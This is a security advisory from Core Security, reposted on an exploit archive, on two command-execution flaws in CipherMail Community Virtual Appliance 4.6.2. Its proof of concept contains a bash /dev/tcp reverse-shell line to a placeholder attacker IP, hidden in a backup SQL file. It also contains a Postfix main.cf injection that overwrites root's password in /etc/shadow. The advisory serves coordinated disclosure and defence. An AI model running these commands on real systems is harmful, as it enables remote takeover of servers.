CipherMail Community Virtual Appliance 4.6.2 Code Execution

Authored by Core Security Technologies, Fernando Diaz, Fernando Catoira, Ivan Koiffman | Site coresecurity.com Posted Jun 9, 2020

CipherMail Community Virtual Appliance version 4.6.2 suffers from remote command execution and file injection vulnerabilities.

tags | exploit, remote, vulnerability
advisories | CVE-2020-12713, CVE-2020-12714
SHA-256 | 8f19790f62e3ddd9f325c2b8bdab7552d76c9c096306b5c140c6286c884f3672 Download | Favorite | View

Related Files

Share This

Change Mirror Download

```
CipherMail Multiple Vulnerabilities

1. Advisory Information

Title: CipherMail Email Encryption Gateway Community Virtual Appliance Multiple Vulnerabilities
Advisory ID: CORE-2020-0008
Advisory URL: https://www.coresecurity.com/core-labs/advisories/ciphermail-multiple-vulnerabilities
Date published: 2020-05-28
Date of last update: 2020-05-28
Vendors contacted: CipherMail
Release mode: Coordinated release

2. Vulnerability Information

Class: Improper Control of Generation of Code (Code Injection) [CWE-94], Improper Input Validation [CWE-20],
Execution with Unnecessary Privileges [CWE-250]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2020-12713 , CVE-2020-12714

3. Vulnerability Description

CipherMail is a global cybersecurity company based in the Netherlands focused on email security products.
CipherMail creates both commercial solutions and sponsors open source tools.  CipherMail Email Encryption
Gateway can be deployed with any email system and uses multiple encryption standards to provide message
integrity and protection against interception. Both an enterprise edition and an open source community version
are available. [1]

Two vulnerabilities were found in version 4.6.2 of the Community Virtual Appliance, which would allow a remote
attacker with access to the management console and administrator rights to execute arbitrary privilege commands
on the operating system.

4. Vulnerable Packages

    CipherMail Community Virtual Appliance version 4.6.2.

Other products and versions might be affected, but have not yet been tested.

5. Vendor Information, Solutions, and Workarounds

The following versions have been published to correct the vulnerabilities: CipherMail Gateway 4.8 and Webmail
Messenger 3.2

Patch instructions for older releases are also available.

6. Credits

This vulnerability was discovered and researched by Iván Koiffman, Fernando Catoira and Fernando Díaz from Core
Security Consulting Services.

The publication of this advisory was coordinated by Pablo A. Zurro from the CoreLabs Advisories Team.

7. Technical Description / Proof of Concept Code

CipherMail Community Virtual Appliance is an open souce virtual appliance version of the Email Encryption
Gateway. It is designed to be deployed inside the organization's network infrastructure. It comes bundled with
a Web Management Console to manage domains, users, DLP policies, and other services.

Multiple vulnerabilities were found in the context of this appliance, which could allow a remote attacker to
compromise the system. Vulnerabilities described in 7.1 and 7.2 could allow an attacker to obtain command
execution on the system.
7.1 Remote Command Execution Via Backup Restore

[CVE-2020-12713] Ciphermail Web Management console provides a system backup functionality only accessible by
the administrator's role  which allows them to backup or restore the system settings. This capability can be
affected by a remote code execution vulnerability.

The following proof of concept demonstrates the vulnerability:

1. First, the create backup functionality, which is present in the path /admin/backup/create, must be invoked
in order to download the system settings. This feature downloads a compressed file containing SQL statements
and some other files.

2. The obtained file should then be decompressed. The word system can then be added, followed by the command
that is going to be executed at the end of the SQL statements file. Below is a snippet using system to obtain a
reverse shell:

-- MySQL dump 10.16  Distrib 10.2.21-MariaDB, for Linux (x86_64)
--
-- Host: localhost    Database: djigzo
-- ------------------------------------------------------
-- Server version  10.2.21-MariaDB
[...]
--
-- Dumping data for table `cm_users`
--

LOCK TABLES `cm_users` WRITE;
/*!40000 ALTER TABLE `cm_users` DISABLE KEYS */;
INSERT INTO `cm_users` VALUES (1,'susucutrule@mailinator.com',5);
/*!40000 ALTER TABLE `cm_users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

system bash -i >& /dev/tcp/[Attacker IP]/[Attacker Port] 0>&1
-- Dump completed on 2019-03-28 18:48:05

3. It is then necessary to recompress the recently modified file along with the other ones within a new tar.gz
file and execute restore backup functionality from the administration console.

4. Finally, the command can be executed in the backend server and a reverse shell should be obtained. The
reverse shell is executed under the context of the user running the database server.
7.2 Configuration File Injection Leading to Code Execution as Root

[CVE-2020-12714] The CipherMail Web Management console provides a functionality accessible by users with an
administrator's role to manage Postfix. It is possible to edit Postfix's main.cf configuration file within the
CipherMail Web Management console and add a "BCC Address for all Messages". This configuration parameter is
written verbatim to the appliance's Postfix main.cf configuration file.

The following proof of concept demonstrates the vulnerability:

The next four lines should be added in order to replace the root password in the system:
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
[main.cf Postfix configuration file]
[…]
        always_bcc = johnny@test.com
        multi_instance_enable=yes
        multi_instance_wrapper=sed -i /root:/c\root:KoVhDRK7oesZg:17926:0:99999:7::: /etc/shadow
        multi_instance_directories=/tmp
[…]

After the new main.cf file is saved, the Postfix service is automatically restarted and the file pointed by
multi_instance_wrapper is executed.

In this proof of concept, we were able to execute a sed command to set the password of the root user to
pentest. Note that we used DES and not bcrypt because the $ symbol is not allowed by main.cf syntax (syntax is
limited and some symbols are not allowed, including "<", ">", "|", among others). To generate a password in DES
using bash, we first executed the following command:

$ mkpasswd -m des
 Password: pentest
 KoVhDRK7oesZg

As shown above, we used the obtained string KoVhDRK7oesZg as part of the sed command to set the password of the
root user to pentest.

It is now possible to establish a SSH connection (the SSH server is enabled by default) and log in as the root
user with the new password set.

8. Report Timeline

2020-04-07 - Vulnerability discovered by CoreLabs.

2020-04-30 - First contact made with the vendor.

2020-04-30 - Answer received and advisory draft provided to CipherMail.

2020-04-30 - Vulnerabilities recognized by the vendor.

2020-05-21 - CVEs requested and received from Mitre.

2020-05-28 - Fix and release changes published by vendor.

2020-05-28 - Advisory published.

9. References

[1] https://www.ciphermail.com/

[2] https://www.ciphermail.com/blog/ciphermail-cve-2020-12713_2020-12714.html

10. About CoreLabs

CoreLabs, the research center of Core Security, A HelpSystems Company is charged with researching and
understanding security trends as well as anticipating the future requirements of information security
technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of
vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned
researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a
fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly
publishes security advisories, technical papers, project information, and shared software tools for public use
at https://www.coresecurity.com/core-labs.
11. About Core Security, A HelpSystems Company

Core Security, a HelpSystems Company, provides organizations with critical, actionable insight about who, how,
and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware,
identity & access, network security, and vulnerability management solutions, security teams can efficiently
manage security risks across the enterprise. Learn more at www.coresecurity.com.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and
Asia. To learn more, contact Core Security at (678) 304-4500 or info@helpsystems.com.
12. Disclaimer

The contents of this advisory are copyright (c) 2020 Core Security and (c) 2020 CoreLabs, and are licensed
under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed